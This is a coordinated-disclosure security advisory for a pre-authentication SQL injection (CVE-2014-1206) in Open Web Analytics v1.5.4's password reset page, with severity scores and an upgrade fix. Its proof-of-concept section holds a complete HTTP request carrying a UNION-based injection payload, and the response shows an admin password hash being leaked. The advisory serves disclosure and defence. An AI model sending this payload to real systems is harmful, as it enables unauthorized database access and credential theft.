Dell SecureWorks Security Advisory SWRX-2014-001 Open Web Analytics Pre-Auth SQL Injection Advisory Information Title: Open Web Analytics Pre-Auth SQL Injection Advisory ID: SWRX-2014-001 Advisory URL: Date published: Thursday, January 9, 2014 CVE: CVE-2014-1206 CVSS v2 base score: 7.5 Date of last update: Wednesday, January 8, 2014 Vendors contacted: Open Web Analytics Release mode: Coordinated Discovered by: Dana James Traversie, Dell SecureWorks Summary Open Web Analytics (OWA) is open source web analytics software that can track and analyze how visitors use websites and applications. OWA is vulnerable to SQL injection that allows an attacker to execute arbitrary SQL statements in the context of the configured OWA database user without authenticating to the web application. Affected products This vulnerability affects Open Web Analytics v1.5.4. Vendor Information, Solutions, and Workarounds The vendor has released an updated version to address this vulnerability. OWA users should upgrade to version v1.5.5 or later. Details An SQL injection vulnerability exists in Open Web Analytics v1.5.4 due to insufficient input validation of the ‘owa_email_address’ parameter on the password reset page. The password reset page does not require user authentication. A remote attacker can leverage this issue to execute arbitrary SQL statements in the context of the configured OWA database user. The impact of the vulnerability varies based on the deployment and configuration of the OWA, database, and web server software. Successful exploitation could result in complete loss of confidentiality, integrity, and availability in the OWA database and may affect the entire underlying database management system. This issue could also lead to operating system compromise under the right conditions. CVSS severity (version 2.0) Access vector: Network Access complexity: Low Authentication: None Impact type: Manipulation of SQL queries and execution of arbitrary SQL commands on the underlying database Confidentiality impact: Partial Integrity impact: Partial Availability impact: Partial CVSS v2 base score: 7.5 CVSS v2 impact subscore: 6.4 CVSS v2 exploitability subscore: 10 CVSS v2 vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) Proof of concept Request: POST /owa/index.php?owa_do=base.passwordResetForm HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 296 owa_email_address=-4534%27+UNION+ALL+SELECT+3627%2C3627%2C3627%2C3627%2C3627%2CCONCAT%280x7177766871%2CIFNULL%28CAST%28password+AS+CHAR%29%2C0x20%29%2C0x7176627971%29%2C3627%2C3627%2C3627%2C3627+FROM+owa.owa_user+LIMIT+0%2C1%23&owa_action=base.passwordResetRequest&owa_submit=Request+New+Password Response: HTTP/1.1 200 OK Date: Fri, 14 Feb 2014 17:03:43 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Content-Length: 3538 Connection: close Content-Type: text/html; charset=UTF-8 Invalid address: qwvhqe2744931d91565ed5b44a1d52746afa0qvbyq - Open Web Analytics .. The password hash of the admin user included in the response: e2744931d91565ed5b44a1d52746afa0 Revision history 1.0 2014-01-09: Initial advisory release PGP keys This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is available for download at About Dell SecureWorks Dell Inc. (NASDAQ: DELL) listens to customers and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations and reduce security costs. Disclaimer Copyright © 2014 Dell SecureWorks This advisory may not be edited or modified in any way without the express written consent of Dell SecureWorks. Permission is hereby granted to link to this advisory via the Dell SecureWorks website or use in accordance with the fair use doctrine of U.S. copyright laws. See the Dell SecureWorks terms of use at for additional information. The most recent version of this advisory may be found on the Dell SecureWorks website at The contents of this advisory may change or be removed from the website without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall Dell SecureWorks be liable for any damages whatsoever arising out of or in connection with the use or further publication or disclosure of this information.